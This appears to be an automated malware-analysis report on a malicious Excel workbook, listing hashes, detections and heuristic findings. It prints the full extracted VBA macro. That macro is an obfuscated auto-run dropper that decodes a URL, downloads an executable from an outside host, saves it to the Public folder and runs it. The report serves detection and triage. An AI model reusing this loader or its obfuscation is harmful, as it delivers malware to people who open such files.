Office (OOXML) malware analysis — malicious · bb1972afed725692

MALICIOUS

Office (OOXML)

117.6 KB First seen: 2020-09-07

MD5: 92a3a9037ae2b89916b9d6e8aaa6252f SHA-1: 0ab716ebd4ec22251fdc094e247b63af5e511d85 SHA-256: bb1972afed7256922af8f7471f5e9e35f48ae24e302c66c0b1621c7deb499b3e

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The VBA macro contains an obfuscated Workbook_Open subroutine that attempts to download and execute a file from the URL 'http://sccsdvdbbf.cf/temp/kerhdgfe.exe'. The use of CreateObject and the HTTP download pattern strongly suggest a dropper functionality. The ClamAV detection further confirms its malicious nature.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
xmuctwlzezjfnlmocrveixdhvvxlgepubjrylohkacgbwgqfyaxjcktainhxyztzjpdduocoklefqblofsnfhgrqpqpygjlaihrg.write urvxxjtlsihdwuoafdexksvxwaoatqswushhbrhjttaemgqijskhujrbvybwutsbpkiengzowuersqlpkgqaglclbfldqkozbypb.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set urvxxjtlsihdwuoafdexksvxwaoatqswushhbrhjttaemgqijskhujrbvybwutsbpkiengzowuersqlpkgqaglclbfldqkozbypb = CreateObject(yyfhqqhnwkhfdsxvvcbeuwlcvvsgbubefcftodkahnhsezvwca("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set urvxxjtlsihdwuoafdexksvxwaoatqswushhbrhjttaemgqijskhujrbvybwutsbpkiengzowuersqlpkgqaglclbfldqkozbypb = CreateObject(yyfhqqhnwkhfdsxvvcbeuwlcvvsgbubefcftodkahnhsezvwca("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6599 bytes
SHA-256: `a9cf040069c7309c4b5338b52be0a8589563c1f4b97d62a452843db85e6231d5`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select liyzuebniwinmwhxtwhixpgudeotlqcmmyhhclqkxmbkuzmuikynkhvvbdwpphcstwbnoauhgxllnwadsularobecmfzpavqjjqy"68 74 74 70 3A 2F 2F 73 63 73 63 64 76 64 64 76 62 66 2E 63 66 2F 74 65 6D 70 2F 6B 65 72 68 64 67 66 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub liyzuebniwinmwhxtwhixpgudeotlqcmmyhhclqkxmbkuzmuikynkhvvbdwpphcstwbnoauhgxllnwadsularobecmfzpavqjjqy (xzcdnfnvspuejnwoqkdsxttmhzisnufetawqcylqltxrsfaldjbsyamdfqwnxuhxkqliqgmrymhewbtbzwoetmfsntkmcytqlzhb As String) Dim urvxxjtlsihdwuoafdexksvxwaoatqswushhbrhjttaemgqijskhujrbvybwutsbpkiengzowuersqlpkgqaglclbfldqkozbypb Range("A6:J13").Select Dim xmuctwlzezjfnlmocrveixdhvvxlgepubjrylohkacgbwgqfyaxjcktainhxyztzjpdduocoklefqblofsnfhgrqpqpygjlaihrg Range("A6:J13").Select Dim dmkkxjyrgnjhbtsglnsdxmodyehbadxjkelthdhyizkchixnqfouoniqyhltbwrcqawwhzyigtvyclvqgukvocuxwvuasnxlihlh Range("A6:J13").Select Set urvxxjtlsihdwuoafdexksvxwaoatqswushhbrhjttaemgqijskhujrbvybwutsbpkiengzowuersqlpkgqaglclbfldqkozbypb = CreateObject(yyfhqqhnwkhfdsxvvcbeuwlcvvsgbubefcftodkahnhsezvwca("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set urvxxjtlsihdwuoafdexksvxwaoatqswushhbrhjttaemgqijskhujrbvybwutsbpkiengzowuersqlpkgqaglclbfldqkozbypb = CreateObject(yyfhqqhnwkhfdsxvvcbeuwlcvvsgbubefcftodkahnhsezvwca("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set urvxxjtlsihdwuoafdexksvxwaoatqswushhbrhjttaemgqijskhujrbvybwutsbpkiengzowuersqlpkgqaglclbfldqkozbypb = CreateObject(yyfhqqhnwkhfdsxvvcbeuwlcvvsgbubefcftodkahnhsezvwca("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set urvxxjtlsihdwuoafdexksvxwaoatqswushhbrhjttaemgqijskhujrbvybwutsbpkiengzowuersqlpkgqaglclbfldqkozbypb = CreateObject(yyfhqqhnwkhfdsxvvcbeuwlcvvsgbubefcftodkahnhsezvwca("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set xmuctwlzezjfnlmocrveixdhvvxlgepubjrylohkacgbwgqfyaxjcktainhxyztzjpdduocoklefqblofsnfhgrqpqpygjlaihrg = CreateObject(yyfhqqhnwkhfdsxvvcbeuwlcvvsgbubefcftodkahnhsezvwca("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set dmkkxjyrgnjhbtsglnsdxmodyehbadxjkelthdhyizkchixnqfouoniqyhltbwrcqawwhzyigtvyclvqgukvocuxwvuasnxlihlh = CreateObject(yyfhqqhnwkhfdsxvvcbeuwlcvvsgbubefcftodkahnhsezvwca("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) kfmcouvvleiwvbolnsjxcyfllorhfdvcdlasbahnrsbysnxsgtlcyatlzbqzcoqijftkbwjmlvfkxhsyryamrtedrosakhldcton = yyfhqqhnwkhfdsxvvcbeuwlcvvsgbubefcftodkahnhsezvwca(xzcdnfnvspuejnwoqkdsxttmhzisnufetawqcylqltxrsfaldjbsyamdfqwnxuhxkqliqgmrymhewbtbzwoetmfsntkmcytqlzhb) unrkjyqduiosisidndrpbqsmdjcekcidsfedhqdscaijaarryhpycylduegzvmtrakzcofwxaynahildrlfcnjbttaicjdwphrjq = yyfhqqhnwkhfdsxvvcbeuwlcvvsgbubefcftodkahnhsezvwca("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 75 68 69 6C 64 62 6E 64 6D 2e 65 78 65") bpdtlrxdllwltchkhreqifjnwtnwbyspzvcchmqvmxiiewjhvmiqnthvfqwseacnsgmxafduajdkwbjzkgbpqccgngwrpyrlvvpy = yyfhqqhnwkhfdsxvvcbeuwlcvvsgbubefcftodkahnhsezvwca("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 75 68 69 6C 64 62 6E 64 6D 2e 65 78 65") urvxxjtlsihdwuoafdexksvxwaoatqswushhbrhjttaemgqijskhujrbvybwutsbpkiengzowuersqlpkgqaglclbfldqkozbypb.Open chr(71) + chr(69) + chr(84), kfmcouvvleiwvbolnsjxcyfllorhfdvcdlasbahnrsbysnxsgtlcyatlzbqzcoqijftkbwjmlvfkxhsyryamrtedrosakhldcton, False urvxxjtlsihdwuoafdexksvxwaoatqswushhbrhjttaemgqijskhujrbvybwutsbpkiengzowuersqlpkgqaglclbfldqkozbypb.send xmuctwlzezjfnlmocrveixdhvvxlgepubjrylohkacgbwgqfyaxjcktainhxyztzjpdduocoklefqblofsnfhgrqpqpygjlaihrg.Type = 1 xmuctwlzezjfnlmocrveixdhvvxlgepubjrylohkacgbwgqfyaxjcktainhxyztzjpdduocoklefqblofsnfhgrqpqpygjlaihrg.Open xmuctwlzezjfnlmocrveixdhvvxlgepubjrylohkacgbwgqfyaxjcktainhxyztzjpdduocoklefqblofsnfhgrqpqpygjlaihrg.write urvxxjtlsihdwuoafdexksvxwaoatqswushhbrhjttaemgqijskhujrbvybwutsbpkiengzowuersqlpkgqaglclbfldqkozbypb.responseBody xmuctwlzezjfnlmocrveixdhvvxlgepubjrylohkacgbwgqfyaxjcktainhxyztzjpdduocoklefqblofsnfhgrqpqpygjlaihrg.savetofile unrkjyqduiosisidndrpbqsmdjcekcidsfedhqdscaijaarryhpycylduegzvmtrakzcofwxaynahildrlfcnjbttaicjdwphrjq, 2 dmkkxjyrgnjhbtsglnsdxmodyehbadxjkelthdhyizkchixnqfouoniqyhltbwrcqawwhzyigtvyclvqgukvocuxwvuasnxlihlh.Run bpdtlrxdllwltchkhreqifjnwtnwbyspzvcchmqvmxiiewjhvmiqnthvfqwseacnsgmxafduajdkwbjzkgbpqccgngwrpyrlvvpy End Sub Public Function yyfhqqhnwkhfdsxvvcbeuwlcvvsgbubefcftodkahnhsezvwca(ByVal mafrggousknmlumglwonfzameypswjpvzoegptohnaeliioxbqzmsybmasmirwxivrmwqgrshgaeupewksrgkddbnrgwhgqqcvqq As String) As String Dim wrguzhemxwsloqxzfrysokjzaulbpjczznaslwgdyqeqzviqirllxxclihtevdwouslaqfojkuuxgtzflusyyrbblokdcchutqvg As String Dim jiacdcaddefohotblypdrkobvkgimzdqxtwdupuwqyxhjvvoigivasoyuyhsvsqeapqosphvdtmsnhszprzgqipfeyjvhcayhtgu As String Dim ehwsynsgfvlmghddsknszljtgmnbsoltaxuhvghdqizinwozywgxfnvtxcmmzqorkrlinvilcjcqlagkxodvinoncbktuvezuixv As Long For ehwsynsgfvlmghddsknszljtgmnbsoltaxuhvghdqizinwozywgxfnvtxcmmzqorkrlinvilcjcqlagkxodvinoncbktuvezuixv = 1 To Len(mafrggousknmlumglwonfzameypswjpvzoegptohnaeliioxbqzmsybmasmirwxivrmwqgrshgaeupewksrgkddbnrgwhgqqcvqq)Step 3 wrguzhemxwsloqxzfrysokjzaulbpjczznaslwgdyqeqzviqirllxxclihtevdwouslaqfojkuuxgtzflusyyrbblokdcchutqvg = Chr$(Val("&H" & Mid$(mafrggousknmlumglwonfzameypswjpvzoegptohnaeliioxbqzmsybmasmirwxivrmwqgrshgaeupewksrgkddbnrgwhgqqcvqq, ehwsynsgfvlmghddsknszljtgmnbsoltaxuhvghdqizinwozywgxfnvtxcmmzqorkrlinvilcjcqlagkxodvinoncbktuvezuixv, 2))) jiacdcaddefohotblypdrkobvkgimzdqxtwdupuwqyxhjvvoigivasoyuyhsvsqeapqosphvdtmsnhszprzgqipfeyjvhcayhtgu = jiacdcaddefohotblypdrkobvkgimzdqxtwdupuwqyxhjvvoigivasoyuyhsvsqeapqosphvdtmsnhszprzgqipfeyjvhcayhtgu & wrguzhemxwsloqxzfrysokjzaulbpjczznaslwgdyqeqzviqirllxxclihtevdwouslaqfojkuuxgtzflusyyrbblokdcchutqvg Next ehwsynsgfvlmghddsknszljtgmnbsoltaxuhvghdqizinwozywgxfnvtxcmmzqorkrlinvilcjcqlagkxodvinoncbktuvezuixv yyfhqqhnwkhfdsxvvcbeuwlcvvsgbubefcftodkahnhsezvwca = jiacdcaddefohotblypdrkobvkgimzdqxtwdupuwqyxhjvvoigivasoyuyhsvsqeapqosphvdtmsnhszprzgqipfeyjvhcayhtgu End Function Attribute VB_Name = "klgqinpepxyehxhxznxpdgkti" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `e5971c2c53d89c1c45d3f222426635218a21805aacbeb707e81bd7aa4f5e8f4f`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 133 of 217 identifiers look randomly generated (e.g. 'C5C769B6EB6608660899F8670878B1A7F77FB1B4') — consistent with name-mangling obfuscation.

Open this report in the interactive analyzer, or submit your own file for analysis.